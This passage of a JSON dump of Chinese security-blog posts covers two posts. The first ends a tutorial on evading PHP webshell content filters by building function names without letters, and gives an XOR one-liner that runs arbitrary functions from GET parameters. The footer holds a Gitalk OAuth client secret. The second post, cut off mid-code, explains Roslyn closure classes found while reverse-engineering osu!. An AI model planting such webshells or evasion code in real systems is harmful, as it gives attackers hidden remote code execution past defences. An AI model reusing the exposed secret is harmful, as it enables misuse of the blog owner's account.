class=\"variable\"\u003e$x\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e也就是说如果我们能够利用某些方式通过别的字符构造出函数名,从而进行调用\u003c/p\u003e\u003cp\u003ep师傅的这篇博客中介绍了两种办法:\u003c/p\u003e\u003ch3 id=\"root-3-w-无字母,白名单\"\u003eroot.3.w 无字母,白名单\u003c/h3\u003e\u003cp\u003e首先要彻底没有字母,除非他已经帮你把php tag打开了(在eval里),不然一定是开着short open tag的。\u003c/p\u003e\u003cp\u003ePHP5.4.0起,\u003ccode\u003e\u0026lt;?=\u003c/code\u003e短开标签是一直可用的。虽然输出的垃圾信息多了一点但是不影响它好用啊(\u003cbr\u003e当然,为了更短的长度,short open tag选项打开的时候还是尽量用\u003ccode\u003e\u0026lt;?\u003c/code\u003e更舒适。\u003c/p\u003e\u003cp\u003e总之,要解决白名单,当务之急是拓展可用的字符。\u003c/p\u003e\u003cp\u003ephp的\u0026quot;.“字符串拼接符号是一个绝妙的将对象转为字符类型的工具。只要有了”.\u0026quot;就可以构造出很多字符。\u003c/p\u003e\u003ch3 id=\"root-3-w-0-Array\"\u003eroot.3.w.0 Array\u003c/h3\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?\u003c/span\u003e\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e=[];\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e.=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// .=[],.=\u0026#x27;\u0026#x27;,.=0/0,随便什么都行\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?=\u003c/span\u003e\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e[\u003cspan class=\"number\"\u003e3\u003c/span\u003e]\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// a\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?=\u003c/span\u003e\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e+++\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e+++\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e+++\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e++\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 以此类推能拿到a-z\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?=\u003c/span\u003e\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// A,同理能拿到A-Z\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e通过连加的方式可以缩短payload长度(谭浩强警告)\u003c/p\u003e\u003ch3 id=\"root-3-w-1-NAN-INF-ANIF\"\u003eroot.3.w.1 NAN, INF (ANIF)\u003c/h3\u003e\u003cp\u003e自\u003cstrong\u003ePHP7\u003c/strong\u003e以来,为了\u003ca href=\"https://www.php.net/manual/en/migration70.incompatible.php#migration70.incompatible.integers.div-by-zero\"\u003e遵从IEEE规范\u003c/a\u003e,0/0与1/0返回的是常量\u003ccode\u003efloat(NAN)\u003c/code\u003e与\u003ccode\u003efloat(INF)\u003c/code\u003e。没错,它们在转字符串的时候还就是\u003ccode\u003e\u0026quot;NAN\u0026quot;\u003c/code\u003e与\u003ccode\u003e\u0026quot;INF\u0026quot;\u003c/code\u003e。那么有了A、N、I、F四个字符我们能够构造出那些字符呢?\u003c/p\u003e\u003cp\u003e所有字符。\u003c/p\u003e\u003cp\u003ePHP函数实际上是\u003ca href=\"https://www.php.net/manual/en/functions.user-defined.php#:~:text=Function%20names%20are%20case-insensitive\"\u003e不区分大小写\u003c/a\u003e的。所以我们可以。。。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eTOLOWER\u003c/code\u003e!这样我们就能构造出大小写所有字母了。有了字母我们当然可以进一步构造出所有字符。\u003c/p\u003e\u003ch3 id=\"root-3-w-1-0-连数字也没有怎么办\"\u003eroot.3.w.1.0 连数字也没有怎么办\u003c/h3\u003e\u003cp\u003etrue和false在php里是1和0\u003cbr\u003e也就是说\u003ccode\u003etrue/false == INF\u003c/code\u003e,\u003ccode\u003efalse/false == NAN\u003c/code\u003e\u003cbr\u003e构造出true和false那还不简单\u003c/p\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e[]\u0026gt;[] == false\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e[[]]\u0026gt;[] == true\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e只要让你闭合tag你就有生存空间\u003c/p\u003e\u003ch3 id=\"root-3-w-3-ban掉-存疑\"\u003eroot.3.w.3 ban掉\u0026quot;.\u0026quot; (?存疑)\u003c/h3\u003e\u003cp\u003e如果没了字符串拼接符号,也就是缺少了一大obj-\u0026gt;str的途径,那么还有没有可能构造出额外的字符呢?\u003c/p\u003e\u003ch3 id=\"root-3-b-无字母,黑名单\"\u003eroot.3.b 无字母,黑名单\u003c/h3\u003e\u003cp\u003e黑名单就好玩了,用什么字符都可以,那么只需要补齐题目ban掉的那些字符即可。当然对于非强迫症而言\u003cstrong\u003e有可能\u003c/strong\u003e只需要补齐一部分字符就能做出题了。\u003c/p\u003e\u003cp\u003e由于php只支持256单字节字符,很多unicode字符(比如中文)的长度大于1(\u003ccode\u003estrlen(\u0026quot;啊\u0026quot;)===3\u003c/code\u003e),也就是说我们实际上是能“切”出一部分的值拿来进行运算的(\u003ccode\u003e\u0026quot;啊\u0026quot;[0] === \u0026quot;\\xe5\u0026quot;\u003c/code\u003e)。具体为何请参考unicode表。\u003cbr\u003e在实际操作中,用汉字切与直接输入不可见字符没有本质的区别,但更直观一些(至少你能看见)\u003c/p\u003e\u003cp\u003e有一点就是对字符串位运算实际上不需要一个个字符串拼接。PHP会逐字节将两侧的字符串喂给位运算,得到新的字符串。\u003c/p\u003e\u003ch3 id=\"root-3-b-x-异或\"\u003eroot.3.b.x 异或\u003c/h3\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;`\u0026#123;\u0026#123;\u0026#123;\u0026quot;\u003c/span\u003e^\u003cspan class=\"string\"\u003e\u0026quot;?\u0026lt;\u0026gt;/\u0026quot;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// _GET\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e$\u0026#123;\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e\u0026#125;[_]($\u0026#123;\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e\u0026#125;[__]);\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"root-3-b-r-取反与或非\"\u003eroot.3.b.r 取反与或非\u003c/h3\u003e\u003cp\u003e略,见p师傅博客与各大搜索引擎\u003c/p\u003e\u003ch3 id=\"root-4-ban掉一些标识符\"\u003eroot.4 ban掉一些标识符\u003c/h3\u003e\u003ch3 id=\"root-4-0-进制转换\"\u003eroot.4.0 进制转换\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ebase_convert\u003c/code\u003e函数提供2-36进制的转换,可以轻松提供数字到\u003ccode\u003ea-z\u003c/code\u003e字母的转换。\u003cbr\u003e\u003ccode\u003edechex\u003c/code\u003e也可以通过数字获得\u003ccode\u003ea-f\u003c/code\u003e的值\u003c/p\u003e\u003ch3 id=\"root-4-1-数学函数\"\u003eroot.4.1 数学函数\u003c/h3\u003e\u003cp\u003e由于很少碰到,不展开讲了。但是见到标题应当能想到该做什么了。\u003c/p\u003e\u003ch2 id=\"1\"\u003e-1\u003c/h2\u003e\u003cp\u003e这里仅对一些可能的webshell绕\u003cstrong\u003e内容\u003c/strong\u003ewaf方式进行了微小的总结。其实不难发现每个绕waf的技巧都来源于php自身的动态性以及对\u003cstrong\u003e字符串\u003c/strong\u003e的各种奇妙操作。\u003cbr\u003e文中大部分跨版本不兼容的地方都进行了php文档链接的标注,以供参考。这也是本文之所以存在的一大理由。\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/05/10/Security/PHP%20Shell%20Bypass/"},{"title":"Osu逆向过程中的一些小结","time":"2020-02-07T09:04:59Z","content":"\u003cp\u003e由于MacOS Catalina上32bit程序惨遭抛弃,最近一段时间实在没动力为了玩osu!而重启电脑切Windows,于是最近几周在逆旧版的osu!,试图搞清楚关于player point统计、聊天室协议等一系列实现。由于逆的过程中碰到了一些关于微软roslyn的具体实\u003chr /\u003e\u003cp\u003e由于MacOS Catalina上32bit程序惨遭抛弃,最近一段时间实在没动力为了玩osu!而重启电脑切Windows,于是最近几周在逆旧版的osu!,试图搞清楚关于player point统计、聊天室协议等一系列实现。由于逆的过程中碰到了一些关于微软roslyn的具体实现的问题,刚好这玩意开源。读了读一些代码,就觉得有些东西挺值得写写的。\u003c/p\u003e\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\u003cul\u003e\u003cli\u003eDisplay Class 与 lambda\u003c/li\u003e\u003cli\u003eBacking Field 与 getter/setter\u003c/li\u003e\u003cli\u003eCompilerGeneratedAttribute 与 ILSpy\u003c/li\u003e\u003cli\u003e临时变量\u003c/li\u003e\u003cli\u003e\u003ccode\u003e(CS$)?\u0026lt;(.+)\u0026gt;([0-9a-s]__.*)([0-9]*)?\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Display-Class-与-lambda\"\u003eDisplay Class 与 lambda\u003c/h2\u003e\u003cp\u003e在C#中,一个 lambda function 的语法如下:\u003c/p\u003e\u003cfigure class=\"highlight csharp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// in some function\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e(parameter1, parameter2) =\u0026gt; \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e do_something(parameter1, parameter2);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e(parameter1, parameter2) =\u0026gt; do_something(parameter1, parameter2);\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在利用网上的各种工具对 osu! 进行反混淆后,先拿 dnSpy 调一调,发现 osu 对文件的哈希进行了比较复杂的认证,索性直接丢到 ILSpy 里头。(具体步骤参考\u003ca href=\"https://github.com/frankli0324/osu-reversed\"\u003eosu-reversed\u003c/a\u003e)\u003cbr\u003e看了看反编译出来的文件,发现里头有很多非法的符号名,最显眼的就是\u003ccode\u003e\u0026lt;\u0026gt;c_DisplayClass\u003c/code\u003e。这个\u003ccode\u003eDisplayClass\u003c/code\u003e就非常的让人摸不着头脑,遂谷歌\u003c/p\u003e\u003cp\u003e\u003ccode\u003eanonymous method closure class\u003c/code\u003e\u003c/p\u003e\u003cp\u003e为了弄清楚\u003ccode\u003eDisplayClass\u003c/code\u003e到底是什么东西,先得了解几个概念\u003c/p\u003e\u003cp\u003e打开维基百科*,一句一句地看\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e*注:英文。维护维基中文的一帮人就是群憨批。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"作用域\"\u003e作用域\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eIn programming languages, a closure, also lexical closure or function closure, is a technique for implementing \u003cstrong\u003elexically scoped\u003c/strong\u003e name binding in a language with first-class functions.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e平常总是说作用域作用域什么的,好像都能理解。但是一说到定义就很模糊了。恰巧,要深刻理解闭包,正要深刻理解作用域,这里就稍稍明晰一下作用域的概念\u003c/p\u003e\u003cp\u003e此处尝试写了点东西,发现自己说得不太清楚,还是放几个传送门把。\u003cbr\u003e看的时候不要以“js是这么干的”或者“python是这么干的”这么想,要以“编程是这么干的”这种思路看。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://en.wikipedia.org/wiki/Scope_(computer_science)#Lexical_scope_vs._dynamic_scope\"\u003eScope\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://github.com/getify/You-Dont-Know-JS/blob/1st-ed/scope%20%26%20closures/ch1.md#enginescope-conversation\"\u003eYouDontKnowJS\u003c/a\u003e\u003c/p\u003e\u003cp\u003e关于词法作用域与动态作用域再说一点。同样举个🌰\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 在某一变量b的作用域内,不管它是全局变量还是啥 \u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ef\u003c/span\u003e(\u003cspan class=\"params\"\u003ea\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a+b\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ec = \u003cspan class=\"number\"\u003e5\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ef(c)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对于函数\u003ccode\u003ef\u003c/code\u003e的\u003cstrong\u003e定义\u003c/strong\u003e来说,b的这个作用域就是“词法作用域”,而对于函数\u003ccode\u003ef\u003c/code\u003e的\u003cstrong\u003e调用\u003c/strong\u003e\u003ccode\u003ef(c)\u003c/code\u003e来说,c的这个作用域就是“动态作用域”。\u003cbr\u003e其实顾名思义,词法作用域是词法决定的,动态作用域是运行时决定的,这句话说得挺准确的,但是的确不太好理解。\u003c/p\u003e\u003cp\u003eQ: “\u003ccode\u003ef(c)\u003c/code\u003e不也是程序编写的时候就写好的🐎?”A: “它不是\u003cstrong\u003e词法\u003c/strong\u003e决定的”\u003c/p\u003e\u003ch3 id=\"自由变量\"\u003e自由变量\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eOperationally, a closure is a record storing a function together with an environment. The environment is a mapping associating each free variable of the function (variables that are used locally, but defined in an enclosing scope) with the value or reference to which the name was bound when the closure was created.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e从这句话中,我们看到了“free variable”一词。我们用python实例来说明“free variable”\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eIn [\u003cspan class=\"number\"\u003e1\u003c/span\u003e]: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ef\u003c/span\u003e(\u003cspan class=\"params\"\u003ea\u003c/span\u003e):\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eg\u003c/span\u003e(\u003cspan class=\"params\"\u003eb\u003c/span\u003e):\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...: \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a+b \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...: \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e g \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eIn [\u003cspan class=\"number\"\u003e2\u003c/span\u003e]: f(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)(\u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eOut[\u003cspan class=\"number\"\u003e2\u003c/span\u003e]: \u003cspan class=\"number\"\u003e3\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e除去函数,这里涉及到了\u003ccode\u003ea\u003c/code\u003e, \u003ccode\u003eb\u003c/code\u003e两个变量。对于函数\u003ccode\u003ef\u003c/code\u003e来说,\u003ccode\u003ea\u003c/code\u003e是它的参数,但函数\u003ccode\u003eg\u003c/code\u003e却完全在\u003ccode\u003ea\u003c/code\u003e的作用域(此处即函数\u003ccode\u003ef\u003c/code\u003e的函数体)内。此时,\u003ccode\u003eg\u003c/code\u003e的自由变量就是\u003ccode\u003ea\u003c/code\u003e。\u003cbr\u003e回头看一眼\u0026quot;free variable\u0026quot;的wiki:In computer programming, the term \u003cstrong\u003efree variable\u003c/strong\u003e refers to variables used in a function that are neither local variables nor parameters of that function. The term non-local variable is often a synonym in this context.\u003c/p\u003e\u003cp\u003e举一个极端点的例子:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ef\u003c/span\u003e(\u003cspan class=\"params\"\u003ea\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eg\u003c/span\u003e(\u003cspan class=\"params\"\u003eb\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e use a\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eh\u003c/span\u003e(\u003cspan class=\"params\"\u003ec\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e use a \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e b\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ei\u003c/span\u003e(\u003cspan class=\"params\"\u003ed\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e use a \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e b \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e c\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ej\u003c/span\u003e(\u003cspan class=\"params\"\u003ee\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e use d\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对于\u003ccode\u003eg\u003c/code\u003e来说\u003ccode\u003ea\u003c/code\u003e是自由变量,而对于\u003ccode\u003ef\u003c/code\u003e不是;对于\u003ccode\u003eh\u003c/code\u003e来说\u003ccode\u003ea\u003c/code\u003e、\u003ccode\u003eb\u003c/code\u003e是自由变量,而对于\u003ccode\u003eg\u003c/code\u003e来说\u003ccode\u003eb\u003c/code\u003e不是;对于\u003ccode\u003ei\u003c/code\u003e来说\u003ccode\u003ea\u003c/code\u003e、\u003ccode\u003eb\u003c/code\u003e、\u003ccode\u003ec\u003c/code\u003e是自由变量等等等等等。\u003c/p\u003e\u003ch3 id=\"闭包\"\u003e闭包\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eUnlike a plain function, a closure allows the function to access those captured variables through the closure’s copies of their values or references, even when the function is invoked outside their scope.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e如果明白了上面的,也就好理解这句话了。它们已经在闭包内了。你要有一个闭包,就必有前面的哪些自由变量。这个闭包又必在这些自由变量的作用域内。我们再看上面的话,不就是在说\u003ccode\u003e闭包就是一个用到了不是局部变量的函数\u003c/code\u003e罢了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e闭包一词经常和匿名函数混淆。这可能是因为两者经常同时使用,但是它们是不同的概念。\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e定义域?作用域?\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e感觉说了一堆废话就为了说一个挺直白的概念\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"匿名函数\"\u003e匿名函数\u003c/h3\u003e\u003cp\u003e理解了闭包,我们再来看匿名函数。\u003cbr\u003e一个匿名函数是否构成闭包,取决于它\u003cstrong\u003e有没有捕获外部变量\u003c/strong\u003e。如何理解呢?那就先请出主角:rosyln\u003c/p\u003e\u003cp\u003e那么,清楚了闭包的概念,rosyln是如何处理闭包的呢?这就是\u003ccode\u003eDisplayClass\u003c/code\u003e上来的地方了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e根据StackOverflow上的某个答案(翻不到了,Chrome tab开太多了),\u003ccode\u003eDisplayClass\u003c/code\u003e是rosyln的一个命名失误。它本来应该叫\u003ccode\u003eClosureClass\u003c/code\u003e\u003cbr\u003e\u003cs\u003e憨批Microsoft\u003c/s\u003e Microsoft NB\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e也就是说,rosyln试图将所有的闭包都单独放到一个类中,给它们创建单独的作用域环境。如此以来,只要找到这个闭包使用到的所有自由变量,在运行时(动态作用域下)将这些自由变量放到这个新的类里头,就可以轻松地给C#加上闭包的支持。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e为什么说“加上”呢?C#2.0正式支持匿名函数,C#3.0支持lambda,而Local Functions直到C#7.0才支持,也就是可以说C#2.0正式支持了闭包。\u003cbr\u003eFrom Microsoft docs: C# version 2.0 introduced the concept of anonymous methods, which allow code blocks to be passed as parameters in place of a separately defined method. C# 3.0 introduced lambda expressions as a more concise way of writing inline code blocks. Both anonymous methods and lambda expressions (in certain contexts) are compiled to delegate types. Together, these features are now known as anonymous functions. For more information about lambda expressions, see Lambda expressions.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e我们来做一些实验:\u003c/p\u003e\u003cfigure class=\"highlight csharp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan 